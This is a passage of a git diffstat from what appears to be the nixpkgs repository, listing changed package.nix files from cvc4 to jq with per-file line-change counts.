 pkgs/by-name/cv/cvc4/package.nix              |   6 +-
 pkgs/by-name/cv/cvs/package.nix               |  36 +-
 pkgs/by-name/cx/cxxopts/package.nix           |   3 +-
 pkgs/by-name/cy/cyme/package.nix              |  15 +-
 pkgs/by-name/cy/cypress/package.nix           |  21 +-
 pkgs/by-name/cy/cyrus-imapd/package.nix       |  88 +-
 pkgs/by-name/cy/cyrus_sasl/package.nix        |  47 +-
 pkgs/by-name/da/daggerfall-unity/package.nix  |  31 +-
 pkgs/by-name/da/dante/package.nix             |  25 +-
 pkgs/by-name/da/dar/package.nix               |  39 +-
 pkgs/by-name/da/darkly/package.nix            |  23 +-
 pkgs/by-name/da/darkradiant/package.nix       |   3 +-
 pkgs/by-name/da/darktable/package.nix         | 142 ++-
 pkgs/by-name/da/darling-dmg/package.nix       |   3 +-
 pkgs/by-name/da/dartsim/package.nix           |  70 +-
 pkgs/by-name/da/dasher/package.nix            |   3 +-
 pkgs/by-name/da/dav1d/package.nix             |  17 +-
 pkgs/by-name/da/davix/package.nix             |  19 +-
 pkgs/by-name/db/dbd/package.nix               |  13 +-
 pkgs/by-name/db/dbeaver-bin/package.nix       |  17 +-
 pkgs/by-name/db/dblatex/package.nix           |  64 +-
 pkgs/by-name/db/dbmonster/package.nix         |  21 +-
 pkgs/by-name/db/dbqn/package.nix              |  68 +-
 pkgs/by-name/db/dbus-cpp/package.nix          |  29 +-
 pkgs/by-name/db/dbus-glib/package.nix         |  11 +-
 pkgs/by-name/db/dbus_cplusplus/package.nix    |  15 +-
 pkgs/by-name/db/dbx/package.nix               |  30 +-
 pkgs/by-name/dc/dclxvi/package.nix            |  17 +-
 pkgs/by-name/dc/dconf/package.nix             |  49 +-
 pkgs/by-name/dd/ddd/package.nix               |   3 +-
 pkgs/by-name/dd/ddm/package.nix               |  49 +-
 pkgs/by-name/dd/ddnet/package.nix             |  49 +-
 pkgs/by-name/de/debian-devscripts/package.nix |  55 +-
 pkgs/by-name/de/delly/package.nix             |   3 +-
 pkgs/by-name/de/delta/package.nix             |  13 +-
 pkgs/by-name/de/deltachat-desktop/package.nix |  23 +-
 pkgs/by-name/de/deno/package.nix              |   3 +-
 .../by-name/de/descent3-unwrapped/package.nix |   3 +-
 pkgs/by-name/de/devpi-client/package.nix      |  29 +-
 pkgs/by-name/de/dexed/package.nix             |  23 +-
 pkgs/by-name/dh/dhcpcd/package.nix            |  24 +-
 pkgs/by-name/di/dia/package.nix               |  52 +-
 pkgs/by-name/di/dictu/package.nix             |  51 +-
 pkgs/by-name/di/didyoumean/package.nix        |  13 +-
 pkgs/by-name/di/diesel-cli/package.nix        |  17 +-
 pkgs/by-name/di/diffoscope/package.nix        |  45 +-
 pkgs/by-name/di/directfb/package.nix          |  98 +-
 pkgs/by-name/di/dirvish/package.nix           |  15 +-
 pkgs/by-name/di/discocss/package.nix          |  21 +-
 pkgs/by-name/di/displaycal/package.nix        |  23 +-
 pkgs/by-name/di/distant/package.nix           |  29 +-
 pkgs/by-name/di/distrobuilder/package.nix     |  30 +-
 pkgs/by-name/di/dit/package.nix               |   3 +-
 pkgs/by-name/dj/djenrandom/package.nix        |  13 +-
 pkgs/by-name/dj/djent/package.nix             |  13 +-
 pkgs/by-name/dl/dl-librescore/package.nix     |  13 +-
 pkgs/by-name/dl/dlib/package.nix              |  77 +-
 pkgs/by-name/dm/dmd/binary.nix                |  17 +-
 pkgs/by-name/dm/dmd/generic.nix               |  89 +-
 pkgs/by-name/dm/dmenu-rs/package.nix          |  36 +-
 pkgs/by-name/dn/dnf5/package.nix              |  29 +-
 pkgs/by-name/dn/dnsmasq/package.nix           |  70 +-
 pkgs/by-name/do/doas/package.nix              |  13 +-
 pkgs/by-name/do/docbook2x/package.nix         |  27 +-
 pkgs/by-name/do/dogdns/package.nix            |   3 +-
 pkgs/by-name/do/dogedns/package.nix           |   3 +-
 pkgs/by-name/do/dokuwiki/package.nix          |  24 +-
 pkgs/by-name/do/dolfinx/package.nix           |   3 +-
 .../do/dolphin-emu-primehack/package.nix      | 157 ++-
 pkgs/by-name/do/dolphin-emu/package.nix       | 137 ++-
 pkgs/by-name/do/doppler/package.nix           |  23 +-
 pkgs/by-name/do/dosbox-staging/package.nix    |   3 +-
 pkgs/by-name/do/dosbox-x/package.nix          |  77 +-
 pkgs/by-name/do/dosfstools/package.nix        |   3 +-
 pkgs/by-name/do/dovecot/package.nix           | 195 ++--
 pkgs/by-name/dp/dpdk/package.nix              |  43 +-
 pkgs/by-name/dp/dpkg/package.nix              |  44 +-
 pkgs/by-name/dp/dprint/package.nix            |  21 +-
 pkgs/by-name/dr/drawterm/package.nix          |  54 +-
 pkgs/by-name/dr/drogon/package.nix            |  33 +-
 pkgs/by-name/ds/dsd/package.nix               |   3 +-
 pkgs/by-name/ds/dspam/package.nix             |  62 +-
 pkgs/by-name/dt/dtc/package.nix               |  27 +-
 pkgs/by-name/du/duc/package.nix               |  17 +-
 pkgs/by-name/du/duckdb/package.nix            |  28 +-
 pkgs/by-name/du/duckscript/package.nix        |  11 +-
 pkgs/by-name/du/duckstation/package.nix       |   3 +-
 pkgs/by-name/du/duktape/package.nix           |  35 +-
 pkgs/by-name/du/dump1090-fa/package.nix       |   3 +-
 pkgs/by-name/du/dumpvdl2/package.nix          |   3 +-
 pkgs/by-name/du/dune3d/package.nix            |   3 +-
 pkgs/by-name/du/dunst/package.nix             |  60 +-
 pkgs/by-name/du/duplicity/package.nix         |  66 +-
 pkgs/by-name/dv/dvdisaster/package.nix        |   3 +-
 pkgs/by-name/dv/dvdplusrwtools/package.nix    | 109 +--
 pkgs/by-name/dv/dvdstyler/package.nix         |  33 +-
 pkgs/by-name/dw/dwl/package.nix               |  50 +-
 pkgs/by-name/dx/dxvk_1/package.nix            |  35 +-
 pkgs/by-name/dx/dxvk_2/package.nix            |  47 +-
 pkgs/by-name/dy/dyalog/package.nix            | 135 ++-
 pkgs/by-name/e2/e2fsprogs/package.nix         |  27 +-
 pkgs/by-name/ea/earlyoom/package.nix          |   3 +-
 pkgs/by-name/ea/eartag/package.nix            |   3 +-
 pkgs/by-name/ea/earthly/package.nix           |  23 +-
 pkgs/by-name/ea/easypdkprog/package.nix       |  13 +-
 pkgs/by-name/ea/easyrpg-player/package.nix    |  61 +-
 pkgs/by-name/eb/ebpf-usb/package.nix          |  11 +-
 pkgs/by-name/eb/ebtks/package.nix             |  17 +-
 pkgs/by-name/ec/eclib/package.nix             |  17 +-
 pkgs/by-name/ec/ecryptfs/package.nix          |  18 +-
 pkgs/by-name/ec/ecwolf/package.nix            |   3 +-
 pkgs/by-name/ed/edencommon/package.nix        |  15 +-
 pkgs/by-name/ed/edk2-uefi-shell/package.nix   |  19 +-
 pkgs/by-name/ed/edk2/package.nix              |   3 +-
 pkgs/by-name/ed/eduke32/package.nix           | 146 ++-
 pkgs/by-name/eg/eggnog-mapper/package.nix     |  17 +-
 pkgs/by-name/ei/eiwd/package.nix              |  68 +-
 pkgs/by-name/ej/ejabberd/package.nix          |  26 +-
 pkgs/by-name/el/elan/package.nix              |   3 +-
 .../el/element-desktop/keytar/default.nix     |   3 +-
 pkgs/by-name/el/element-desktop/package.nix   |   3 +-
 pkgs/by-name/el/elfutils/package.nix          | 159 ++--
 pkgs/by-name/el/eli/package.nix               |  21 +-
 pkgs/by-name/el/elogind/package.nix           |   3 +-
 pkgs/by-name/el/elpa/package.nix              |  57 +-
 pkgs/by-name/em/emojipick/package.nix         |   3 +-
 pkgs/by-name/em/emulsion/package.nix          |  27 +-
 pkgs/by-name/en/en-croissant/package.nix      |  17 +-
 pkgs/by-name/en/entangle/package.nix          |  63 +-
 pkgs/by-name/en/ente-cli/package.nix          |  43 +-
 pkgs/by-name/en/enum4linux-ng/package.nix     |  15 +-
 pkgs/by-name/en/envchain/package.nix          |  17 +-
 pkgs/by-name/en/envision/package.nix          |  37 +-
 pkgs/by-name/en/envoy/package.nix             |  59 +-
 pkgs/by-name/ep/epic5/package.nix             |  21 +-
 pkgs/by-name/ep/epiphany/package.nix          |  74 +-
 pkgs/by-name/ep/epoll-shim/package.nix        |  17 +-
 pkgs/by-name/ep/epsonscan2/package.nix        | 106 +--
 pkgs/by-name/eq/equibop/package.nix           |  15 +-
 pkgs/by-name/er/ergoscf/package.nix           |   3 +-
 pkgs/by-name/er/erofs-utils/package.nix       |  38 +-
 pkgs/by-name/es/espanso/package.nix           |  66 +-
 pkgs/by-name/es/espflash/package.nix          |  11 +-
 pkgs/by-name/ev/evince/package.nix            |  88 +-
 .../ev/evolution-data-server/package.nix      |  98 +-
 pkgs/by-name/ex/exaile/package.nix            |  86 +-
 .../by-name/ex/example-robot-data/package.nix |  22 +-
 pkgs/by-name/ex/exempi/package.nix            |  30 +-
 pkgs/by-name/ex/exim/package.nix              |  51 +-
 pkgs/by-name/ex/exiv2/package.nix             |  33 +-
 pkgs/by-name/ex/extract_url/package.nix       |  13 +-
 pkgs/by-name/ez/eza/package.nix               |  29 +-
 pkgs/by-name/f3/f3/package.nix                |   6 +-
 pkgs/by-name/f3/f3d/package.nix               |  81 +-
 pkgs/by-name/fa/faac/package.nix              |   3 +-
 .../fa/facetimehd-calibration/package.nix     |  35 +-
 pkgs/by-name/fa/facter/package.nix            |  27 +-
 pkgs/by-name/fa/factorio/package.nix          |  78 +-
 pkgs/by-name/fa/factorio/utils.nix            |  21 +-
 pkgs/by-name/fa/faiss/package.nix             |  55 +-
 pkgs/by-name/fa/famistudio/package.nix        |  99 +-
 pkgs/by-name/fa/far2l/package.nix             |  27 +-
 pkgs/by-name/fa/fastcdr/package.nix           |  15 +-
 pkgs/by-name/fa/fastd/package.nix             |  21 +-
 pkgs/by-name/fa/fastfetch/package.nix         |  86 +-
 pkgs/by-name/fa/fastjet/package.nix           |   3 +-
 pkgs/by-name/fa/fastnlo-toolkit/package.nix   |  34 +-
 pkgs/by-name/fa/fastqc/package.nix            |  13 +-
 pkgs/by-name/fa/fatrop/package.nix            |   9 +-
 pkgs/by-name/fb/fbthrift/package.nix          |  33 +-
 pkgs/by-name/fc/fcft/package.nix              |  32 +-
 pkgs/by-name/fd/fd/package.nix                |  19 +-
 pkgs/by-name/fe/feather/package.nix           |  41 +-
 pkgs/by-name/fe/febio-studio/package.nix      |  46 +-
 pkgs/by-name/fe/fedistar/package.nix          |  13 +-
 pkgs/by-name/fe/feedgnuplot/package.nix       |  22 +-
 pkgs/by-name/fe/feishin/package.nix           |  90 +-
 pkgs/by-name/fe/ferrishot/package.nix         |  32 +-
 pkgs/by-name/fe/fex/package.nix               |  21 +-
 pkgs/by-name/ff/fflas-ffpack/package.nix      |  44 +-
 pkgs/by-name/ff/ffsend/package.nix            |   3 +-
 pkgs/by-name/ff/fftw/package.nix              |  32 +-
 pkgs/by-name/fh/fheroes2/package.nix          |   3 +-
 pkgs/by-name/fi/fido2-manage/package.nix      | 106 +--
 pkgs/by-name/fi/filen-cli/package.nix         |  19 +-
 pkgs/by-name/fi/fim/package.nix               |  27 +-
 pkgs/by-name/fi/finalfrontier/package.nix     |  11 +-
 pkgs/by-name/fi/fio/package.nix               |   3 +-
 pkgs/by-name/fi/fire/package.nix              |  88 +-
 pkgs/by-name/fi/firebase-tools/package.nix    |  13 +-
 pkgs/by-name/fi/firestarter/package.nix       |  57 +-
 pkgs/by-name/fi/firewalld/package.nix         | 123 ++-
 pkgs/by-name/fi/fish/package.nix              | 204 ++--
 pkgs/by-name/fl/flac/package.nix              |  22 +-
 pkgs/by-name/fl/flameshot/package.nix         |  46 +-
 pkgs/by-name/fl/flann/package.nix             |  63 +-
 pkgs/by-name/fl/flashprog/package.nix         |  27 +-
 pkgs/by-name/fl/flashrom/package.nix          |  17 +-
 pkgs/by-name/fl/flatpak/package.nix           | 190 ++--
 pkgs/by-name/fl/flatter/package.nix           |  21 +-
 .../fl/flet-client-flutter/package.nix        |  25 +-
 pkgs/by-name/fl/flips/package.nix             |  14 +-
 pkgs/by-name/fl/flite/package.nix             |   3 +-
 pkgs/by-name/fl/flowtime/package.nix          |  19 +-
 pkgs/by-name/fl/fluent-bit/package.nix        |  58 +-
 pkgs/by-name/fl/fluidsynth/package.nix        |  19 +-
 pkgs/by-name/fo/folks/package.nix             |  46 +-
 pkgs/by-name/fo/folly/package.nix             |  19 +-
 pkgs/by-name/fo/font-manager/package.nix      |  27 +-
 pkgs/by-name/fo/fontforge/package.nix         |  60 +-
 .../by-name/fo/foomatic-db-engine/package.nix |  31 +-
 pkgs/by-name/fo/foot/package.nix              |  23 +-
 pkgs/by-name/fo/footage/package.nix           |  47 +-
 pkgs/by-name/fo/fortune-kind/package.nix      |  15 +-
 pkgs/by-name/fo/fortune/package.nix           |  22 +-
 pkgs/by-name/fo/foundry/package.nix           |   3 +-
 pkgs/by-name/fo/foxotron/package.nix          |  27 +-
 pkgs/by-name/fp/fprintd-tod/package.nix       |  12 +-
 pkgs/by-name/fr/fractal/package.nix           |  41 +-
 pkgs/by-name/fr/framac/package.nix            |  17 +-
 pkgs/by-name/fr/frame/package.nix             |  19 +-
 pkgs/by-name/fr/frankenphp/package.nix        |  44 +-
 pkgs/by-name/fr/freecad/package.nix           | 212 ++---
 pkgs/by-name/fr/freecell-solver/package.nix   |  49 +-
 pkgs/by-name/fr/freedroidrpg/package.nix      |   3 +-
 pkgs/by-name/fr/freedv/package.nix            |  20 +-
 pkgs/by-name/fr/freeimage/package.nix         |  53 +-
 pkgs/by-name/fr/freeradius/package.nix        |  40 +-
 pkgs/by-name/fr/freerdp/package.nix           | 193 ++--
 pkgs/by-name/fr/freeswitch/package.nix        |   3 +-
 pkgs/by-name/fr/freetalk/package.nix          |  33 +-
 pkgs/by-name/fr/freetds/package.nix           |   3 +-
 pkgs/by-name/fr/freetube/package.nix          |  39 +-
 pkgs/by-name/fr/freetype/package.nix          |  37 +-
 pkgs/by-name/fr/freexl/package.nix            |   3 +-
 pkgs/by-name/fr/frei0r/package.nix            |  17 +-
 pkgs/by-name/fr/fribidi/package.nix           |   3 +-
 pkgs/by-name/fr/frigate/package.nix           |  77 +-
 pkgs/by-name/fr/froide/package.nix            |  21 +-
 pkgs/by-name/fr/frr/clippy-helper.nix         |  13 +-
 pkgs/by-name/fr/frr/package.nix               | 193 ++--
 pkgs/by-name/fr/frugally-deep/package.nix     |  15 +-
 pkgs/by-name/fs/fsverity-utils/package.nix    |   6 +-
 pkgs/by-name/ft/ft2-clone/package.nix         |  13 +-
 pkgs/by-name/fu/furmark/package.nix           |   3 +-
 pkgs/by-name/fu/furnace/package.nix           |  58 +-
 pkgs/by-name/fu/fuse-archive/package.nix      |  19 +-
 pkgs/by-name/fu/fuzzel/package.nix            |  23 +-
 pkgs/by-name/fv/fvwm2/package.nix             |   3 +-
 pkgs/by-name/fw/fwup/package.nix              |  19 +-
 pkgs/by-name/fw/fwupd/package.nix             | 170 ++--
 pkgs/by-name/ga/galario/package.nix           |  13 +-
 pkgs/by-name/ga/gamescope/package.nix         | 118 ++-
 pkgs/by-name/ga/gammu/package.nix             |  29 +-
 pkgs/by-name/ga/gap/package.nix               |   8 +-
 pkgs/by-name/ga/gapless/package.nix           |  21 +-
 pkgs/by-name/ga/gargoyle/package.nix          |  33 +-
 pkgs/by-name/ga/gavin-bc/package.nix          |  15 +-
 pkgs/by-name/gc/gcs/package.nix               |  29 +-
 pkgs/by-name/gd/gd/package.nix                |  38 +-
 pkgs/by-name/gd/gdal/package.nix              | 182 ++--
 pkgs/by-name/ge/geant4/package.nix            |  93 +-
 pkgs/by-name/ge/gedit/package.nix             |  60 +-
 pkgs/by-name/ge/gel/package.nix               |  19 +-
 pkgs/by-name/ge/gemmi/package.nix             |  21 +-
 pkgs/by-name/ge/gemrb/package.nix             |   3 +-
 pkgs/by-name/ge/geoclue2/package.nix          |  89 +-
 pkgs/by-name/ge/geocode-glib_2/package.nix    |  25 +-
 pkgs/by-name/ge/geoserver/package.nix         |  16 +-
 pkgs/by-name/ge/gepetto-viewer/package.nix    |  21 +-
 pkgs/by-name/ge/gerbera/package.nix           |   6 +-
 pkgs/by-name/ge/getdns/package.nix            |   3 +-
 pkgs/by-name/ge/getdp/package.nix             |   3 +-
 pkgs/by-name/ge/getoptions/package.nix        |  18 +-
 pkgs/by-name/ge/gexiv2/package.nix            |  29 +-
 pkgs/by-name/gf/gf/package.nix                |   3 +-
 pkgs/by-name/gf/gfan/package.nix              |  37 +-
 pkgs/by-name/gf/gforth/package.nix            |  13 +-
 pkgs/by-name/gf/gfxstream/package.nix         |   3 +-
 pkgs/by-name/gg/gg-jj/package.nix             |  30 +-
 pkgs/by-name/gh/gh/package.nix                |  29 +-
 pkgs/by-name/gh/ghdl/package.nix              | 103 +-
 pkgs/by-name/gh/ghdl/test-simple.nix          |  41 +-
 pkgs/by-name/gh/ghex/package.nix              |  17 +-
 pkgs/by-name/gh/ghostscript/package.nix       | 143 ++-
 pkgs/by-name/gh/ghostty/package.nix           |  75 +-
 pkgs/by-name/gi/giac/package.nix              | 234 +++--
 pkgs/by-name/gi/giada/package.nix             |  43 +-
 pkgs/by-name/gi/giflib/package.nix            |  54 +-
 pkgs/by-name/gi/gigalixir/package.nix         |  17 +-
 pkgs/by-name/gi/gildas/package.nix            |  13 +-
 pkgs/by-name/gi/git-absorb/package.nix        |  25 +-
 pkgs/by-name/gi/git-cola/package.nix          |  22 +-
 pkgs/by-name/gi/git-lfs/package.nix           |  19 +-
 pkgs/by-name/gi/git-quickfix/package.nix      |  13 +-
 .../gi/git-remote-codecommit/package.nix      |  19 +-
 pkgs/by-name/gi/git-series/package.nix        |   6 +-
 pkgs/by-name/gi/gitbutler/package.nix         |  57 +-
 pkgs/by-name/gi/github-runner/package.nix     | 288 +++---
 pkgs/by-name/gi/gitlab-runner/package.nix     |  63 +-
 pkgs/by-name/gi/gitlab-timelogs/package.nix   |  11 +-
 pkgs/by-name/gi/gitnr/package.nix             |  15 +-
 pkgs/by-name/gi/gitrs/package.nix             |  13 +-
 pkgs/by-name/gi/gitui/package.nix             |  13 +-
 pkgs/by-name/gj/gjs/package.nix               |  60 +-
 pkgs/by-name/gl/gl2ps/package.nix             |  19 +-
 pkgs/by-name/gl/glade/package.nix             |  29 +-
 pkgs/by-name/gl/glava/package.nix             |   3 +-
 pkgs/by-name/gl/glfw3/package.nix             |  26 +-
 pkgs/by-name/gl/glib/package.nix              | 172 ++--
 pkgs/by-name/gl/globalping-cli/package.nix    |  19 +-
 pkgs/by-name/gl/globalplatform/package.nix    |  15 +-
 pkgs/by-name/gl/glom/package.nix              |  10 +-
 pkgs/by-name/gl/glpk/package.nix              |  13 +-
 pkgs/by-name/gm/gmic-qt/package.nix           |  41 +-
 pkgs/by-name/gm/gmic/package.nix              |  58 +-
 pkgs/by-name/gm/gmsh/package.nix              |  49 +-
 pkgs/by-name/gm/gmt/package.nix               |  70 +-
 pkgs/by-name/gn/gnome-bluetooth/package.nix   |   3 +-
 .../gn/gnome-bluetooth_1_0/package.nix        |  35 +-
 pkgs/by-name/gn/gnome-clocks/package.nix      |  35 +-
 pkgs/by-name/gn/gnome-desktop/package.nix     |  52 +-
 pkgs/by-name/gn/gnome-keysign/package.nix     |  17 +-
 pkgs/by-name/gn/gnome-music/package.nix       |  49 +-
 .../gn/gnome-online-accounts/package.nix      |  54 +-
 pkgs/by-name/gn/gnome-panel/wrapper.nix       |   6 +-
 .../gn/gnome-settings-daemon/package.nix      |  66 +-
 pkgs/by-name/gn/gnome-software/package.nix    |   6 +-
 .../gn/gnome-sound-recorder/package.nix       |  27 +-
 pkgs/by-name/gn/gnome-user-share/package.nix  |  29 +-
 pkgs/by-name/gn/gnss-sdr/package.nix          |  63 +-
 pkgs/by-name/gn/gnu-smalltalk/package.nix     |   3 +-
 pkgs/by-name/gn/gnucash/package.nix           |  49 +-
 pkgs/by-name/gn/gnucobol/package.nix          |  21 +-
 pkgs/by-name/gn/gnum4/package.nix             |  18 +-
 pkgs/by-name/gn/gnumeric/package.nix          |  23 +-
 pkgs/by-name/go/go-musicfox/package.nix       |  13 +-
 pkgs/by-name/go/go-task/package.nix           |  19 +-
 pkgs/by-name/go/goaccess/package.nix          |  16 +-
 pkgs/by-name/go/goarista/package.nix          |   3 +-
 pkgs/by-name/go/golden-cheetah/package.nix    |  17 +-
 pkgs/by-name/go/gomanagedocker/package.nix    |   3 +-
 pkgs/by-name/go/goodvibes/package.nix         |  31 +-
 pkgs/by-name/go/google-amber/package.nix      |  19 +-
 pkgs/by-name/go/google-chrome/package.nix     | 129 ++-
 pkgs/by-name/go/google-cloud-cpp/package.nix  |  27 +-
 pkgs/by-name/go/google-fonts/package.nix      |  37 +-
 pkgs/by-name/go/goose-cli/package.nix         |  43 +-
 pkgs/by-name/go/goss/package.nix              |   3 +-
 pkgs/by-name/go/gossip/package.nix            |  50 +-
 pkgs/by-name/go/got/package.nix               |  30 +-
 pkgs/by-name/gp/gpac/package.nix              |  13 +-
 pkgs/by-name/gp/gperftools/package.nix        |  11 +-
 pkgs/by-name/gp/gpscorrelate/package.nix      |   3 +-
 pkgs/by-name/gp/gpsd/package.nix              |  60 +-
 pkgs/by-name/gp/gpt4all/package.nix           |  83 +-
 pkgs/by-name/gp/gptfdisk/package.nix          |  35 +-
 pkgs/by-name/gp/gpufetch/package.nix          |  34 +-
 pkgs/by-name/gr/grail/package.nix             |  23 +-
 pkgs/by-name/gr/gramps/package.nix            |  52 +-
 pkgs/by-name/gr/grandorgue/package.nix        |  25 +-
 pkgs/by-name/gr/graphene/package.nix          |  96 +-
 pkgs/by-name/gr/graphicsmagick/package.nix    |   6 +-
 pkgs/by-name/gr/grass/package.nix             | 149 ++-
 pkgs/by-name/gr/gretl/package.nix             |   3 +-
 pkgs/by-name/gr/grilo/package.nix             |  31 +-
 pkgs/by-name/gr/groff/package.nix             |  95 +-
 pkgs/by-name/gr/groonga/package.nix           |  37 +-
 pkgs/by-name/gr/grpc/package.nix              |  64 +-
 pkgs/by-name/gs/gscan2pdf/package.nix         | 102 +-
 pkgs/by-name/gs/gscreenshot/package.nix       |  49 +-
 .../gs/gsettings-desktop-schemas/package.nix  |  19 +-
 pkgs/by-name/gs/gsm/package.nix               |  47 +-
 pkgs/by-name/gs/gspell/package.nix            |  27 +-
 pkgs/by-name/gs/gst123/package.nix            |  25 +-
 pkgs/by-name/gt/gtest/package.nix             |  13 +-
 pkgs/by-name/gt/gthumb/package.nix            |   3 +-
 pkgs/by-name/gt/gtk-doc/package.nix           |  17 +-
 pkgs/by-name/gt/gtk-vnc/package.nix           |  27 +-
 pkgs/by-name/gt/gtk4-layer-shell/package.nix  |   3 +-
 pkgs/by-name/gt/gtkgnutella/package.nix       |  38 +-
 pkgs/by-name/gt/gtkwave/package.nix           |  18 +-
 pkgs/by-name/gt/gtypist/package.nix           |   3 +-
 pkgs/by-name/gu/gucharmap/package.nix         |  41 +-
 pkgs/by-name/gu/guestfs-tools/package.nix     |  45 +-
 pkgs/by-name/gu/guilt/package.nix             |   3 +-
 pkgs/by-name/gu/gum/package.nix               |  21 +-
 pkgs/by-name/gu/gupnp-igd/package.nix         |   3 +-
 pkgs/by-name/gu/gusb/package.nix              |  24 +-
 pkgs/by-name/gv/gv/package.nix                |  19 +-
 pkgs/by-name/gv/gvfs/package.nix              | 128 ++-
 pkgs/by-name/gw/gwyddion/package.nix          |  37 +-
 pkgs/by-name/gx/gxkb/package.nix              |   3 +-
 pkgs/by-name/gz/gzdoom/package.nix            |   6 +-
 pkgs/by-name/h2/h2o/package.nix               |  23 +-
 pkgs/by-name/h5/h5utils/package.nix           |  17 +-
 pkgs/by-name/ha/halloy/package.nix            |  52 +-
 pkgs/by-name/ha/handbrake/package.nix         | 242 +++--
 pkgs/by-name/ha/haproxy/package.nix           |  78 +-
 pkgs/by-name/ha/hare/package.nix              |   3 +-
 pkgs/by-name/ha/harfbuzz/package.nix          |  20 +-
 pkgs/by-name/ha/harlequin/package.nix         |  19 +-
 pkgs/by-name/ha/harvid/package.nix            |  13 +-
 pkgs/by-name/ha/hash-slinger/package.nix      |   3 +-
 pkgs/by-name/ha/hashcat/package.nix           |  55 +-
 pkgs/by-name/ha/hatch/package.nix             | 167 ++--
 pkgs/by-name/hd/hdf4/package.nix              |  73 +-
 pkgs/by-name/hd/hdfview/package.nix           |  39 +-
 pkgs/by-name/he/headlines/package.nix         |  39 +-
 pkgs/by-name/he/hebbot/package.nix            |  17 +-
 pkgs/by-name/he/hedgewars/package.nix         |   3 +-
 pkgs/by-name/he/herbe/package.nix             |   3 +-
 pkgs/by-name/he/hercules/package.nix          |  40 +-
 pkgs/by-name/he/herwig/package.nix            |  25 +-
 pkgs/by-name/he/hexbinhex/package.nix         |  15 +-
 pkgs/by-name/hi/hiawatha/package.nix          |  19 +-
 pkgs/by-name/hi/hiawatha/test.nix             |   3 +-
 pkgs/by-name/hi/higan/package.nix             | 161 ++--
 pkgs/by-name/hi/high-tide/package.nix         |  21 +-
 pkgs/by-name/hi/highfive/package.nix          |   3 +-
 pkgs/by-name/hi/himalaya/package.nix          |   3 +-
 pkgs/by-name/hm/hmat-oss/package.nix          |  13 +-
 .../by-name/ho/homepage-dashboard/package.nix |   3 +-
 pkgs/by-name/ho/hostapd/package.nix           | 107 ++-
 pkgs/by-name/hp/hp2p/package.nix              |  13 +-
 pkgs/by-name/hp/hping/package.nix             |  35 +-
 pkgs/by-name/hp/hpipm/package.nix             |   3 +-
 pkgs/by-name/hp/hplip/package.nix             | 117 ++-
 pkgs/by-name/hq/hqplayerd/rygel.nix           |  47 +-
 pkgs/by-name/hs/hsd/package.nix               |  13 +-
 pkgs/by-name/ht/htb-toolkit/package.nix       |  13 +-
 pkgs/by-name/ht/html-tidy/package.nix         |   3 +-
 pkgs/by-name/ht/html5validator/package.nix    |  13 +-
 pkgs/by-name/ht/htop-vim/package.nix          |  38 +-
 pkgs/by-name/ht/htop/package.nix              |  38 +-
 pkgs/by-name/ht/http-parser/package.nix       |  62 +-
 pkgs/by-name/ht/httptoolkit/package.nix       |   3 +-
 pkgs/by-name/hw/hwloc/package.nix             |  21 +-
 pkgs/by-name/hy/hydrus/package.nix            |  61 +-
 pkgs/by-name/hy/hyperscan/package.nix         |  13 +-
 pkgs/by-name/hy/hyprpanel/package.nix         |   3 +-
 pkgs/by-name/hy/hypseus-singe/package.nix     |  27 +-
 pkgs/by-name/i2/i2p/package.nix               |  17 +-
 pkgs/by-name/i2/i2pd/package.nix              |   3 +-
 pkgs/by-name/ig/igraph/package.nix            |  40 +-
 pkgs/by-name/ii/iio-oscilloscope/package.nix  |   3 +-
 pkgs/by-name/im/imagelol/package.nix          |  11 +-
 pkgs/by-name/im/imhex/package.nix             |   3 +-
 pkgs/by-name/im/imlib2/package.nix            |  37 +-
 pkgs/by-name/im/imnodes/package.nix           |  13 +-
 pkgs/by-name/im/implot/demos/default.nix      |   3 +-
 pkgs/by-name/im/imtui/package.nix             |  17 +-
 pkgs/by-name/im/imv/package.nix               |  22 +-
 pkgs/by-name/in/inchi/package.nix             |  21 +-
 pkgs/by-name/in/inetutils/package.nix         |  21 +-
 pkgs/by-name/in/influxdb-cxx/package.nix      |  17 +-
 pkgs/by-name/in/iniparser/package.nix         |   3 +-
 pkgs/by-name/in/inlyne/package.nix            |  13 +-
 pkgs/by-name/in/innernet/package.nix          |  34 +-
 pkgs/by-name/in/innoextract/package.nix       |   3 +-
 pkgs/by-name/in/inspectrum/package.nix        |  19 +-
 pkgs/by-name/in/inspircd/package.nix          |  65 +-
 pkgs/by-name/in/insync/package.nix            |   3 +-
 .../by-name/in/intel-media-driver/package.nix |   3 +-
 .../by-name/in/intel-vaapi-driver/package.nix |  28 +-
 pkgs/by-name/in/intltool/package.nix          |  13 +-
 pkgs/by-name/in/inxi/package.nix              |  13 +-
 pkgs/by-name/io/iosevka/package.nix           |  28 +-
 pkgs/by-name/ip/ip2unix/package.nix           |   3 +-
 pkgs/by-name/ip/ipopt/package.nix             |  21 +-
 pkgs/by-name/ip/iproute2/package.nix          |  50 +-
 pkgs/by-name/ip/iprover/package.nix           |  34 +-
 pkgs/by-name/ip/ipv6calc/package.nix          |  37 +-
 pkgs/by-name/ip/ipxe/package.nix              |  67 +-
 pkgs/by-name/iq/iqtree/package.nix            |  17 +-
 pkgs/by-name/ir/iredis/package.nix            |  27 +-
 pkgs/by-name/ir/ironbar/package.nix           |  60 +-
 pkgs/by-name/ir/irqbalance/package.nix        |  17 +-
 pkgs/by-name/ir/irrd/package.nix              |  29 +-
 pkgs/by-name/is/isabelle/package.nix          | 160 ++--
 pkgs/by-name/is/isync/package.nix             |   3 +-
 pkgs/by-name/iw/iwd/package.nix               |  22 +-
 pkgs/by-name/ja/jadx/package.nix              |   3 +-
 pkgs/by-name/ja/jalv/package.nix              |  40 +-
 pkgs/by-name/ja/jam/package.nix               |  39 +-
 pkgs/by-name/ja/jameica/package.nix           |  43 +-
 pkgs/by-name/ja/jamin/package.nix             |  25 +-
 pkgs/by-name/ja/jasmin-compiler/package.nix   |  17 +-
 pkgs/by-name/ja/jasp-desktop/package.nix      |   3 +-
 pkgs/by-name/ja/jasper/package.nix            |  25 +-
 pkgs/by-name/jb/jbigkit/package.nix           | 106 +--
 pkgs/by-name/jd/jdupes/package.nix            |  15 +-
 pkgs/by-name/je/jellyfin-web/package.nix      |  11 +-
 pkgs/by-name/jg/jgmenu/package.nix            |  40 +-
 pkgs/by-name/ji/jimtcl/package.nix            |  22 +-
 .../ji/jitsi-meet-electron/package.nix        |  13 +-
 pkgs/by-name/jo/jogl/package.nix              |  64 +-
 pkgs/by-name/jo/john/package.nix              |  53 +-
 pkgs/by-name/jo/jotta-cli/package.nix         |  23 +-
 pkgs/by-name/jq/jq/package.nix                |  23 +-
